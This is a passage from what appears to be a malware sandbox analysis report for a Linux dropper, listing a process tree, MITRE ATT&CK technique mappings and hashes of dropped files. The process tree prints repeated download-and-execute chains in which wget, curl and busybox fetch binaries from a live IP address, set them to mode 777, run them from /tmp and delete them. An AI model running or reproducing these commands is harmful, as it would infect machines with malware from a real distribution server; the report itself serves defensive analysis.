  - File and Directory Permissions Modification
  PID:941
- /tmp/5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x
  ./5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x
  2⤵
  - Executes dropped EXE
  PID:942
- /bin/rm
  rm 5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x
  2⤵
  PID:943
- /usr/bin/wget
  wget http://216.126.231.240/bins/Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge
  2⤵
  PID:944
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:945
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge
  2⤵
  PID:946
- /bin/chmod
  chmod 777 Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge
  2⤵
  - File and Directory Permissions Modification
  PID:947
- /tmp/Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge
  ./Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge
  2⤵
  - Executes dropped EXE
  PID:948
- /bin/rm
  rm Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge
  2⤵
  PID:949
- /usr/bin/wget
  wget http://216.126.231.240/bins/l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR
  2⤵
  PID:950
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:951
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR
  2⤵
  PID:952
- /bin/chmod
  chmod 777 l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR
  2⤵
  - File and Directory Permissions Modification
  PID:953
- /tmp/l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR
  ./l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR
  2⤵
  - Executes dropped EXE
  PID:954
- /bin/rm
  rm l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR
  2⤵
  PID:955
- /usr/bin/wget
  wget http://216.126.231.240/bins/qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy
  2⤵
  PID:956
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:957
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy
  2⤵
  PID:958
- /bin/chmod
  chmod 777 qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy
  2⤵
  - File and Directory Permissions Modification
  PID:959
- /tmp/qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy
  ./qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy
  2⤵
  - Executes dropped EXE
  PID:960
- /bin/rm
  rm qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy
  2⤵
  PID:961
- /usr/bin/wget
  wget http://216.126.231.240/bins/7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O
  2⤵
  PID:962
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:963
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O
  2⤵
  PID:964
- /bin/chmod
  chmod 777 7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O
  2⤵
  - File and Directory Permissions Modification
  PID:965
- /tmp/7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O
  ./7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O
  2⤵
  - Executes dropped EXE
  PID:966
- /bin/rm
  rm 7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O
  2⤵
  PID:967

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM

Path /tmp/AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
Size 176B
SHA256 6de94db8afc535ef95ba6c6290317d20e50312c146186cb86a4210770c1a741e
MD5 e1732e70f015e99d14dff1eeeaec9966
SHA1 c28358cd15b9a0bea63c5b2ed0c9b8d5cb006113
SHA512 6ac4f83ce675f8a7855c18eea51c654f19e66bfa335a5125d06ceb4293ecef3a6a12a4e57809e9531dd13b83e1d591e476973e88094fa361c0847dbdeb5923a7
MD5 SHA1 SHA512

Submit Download

UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh

Path /tmp/UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512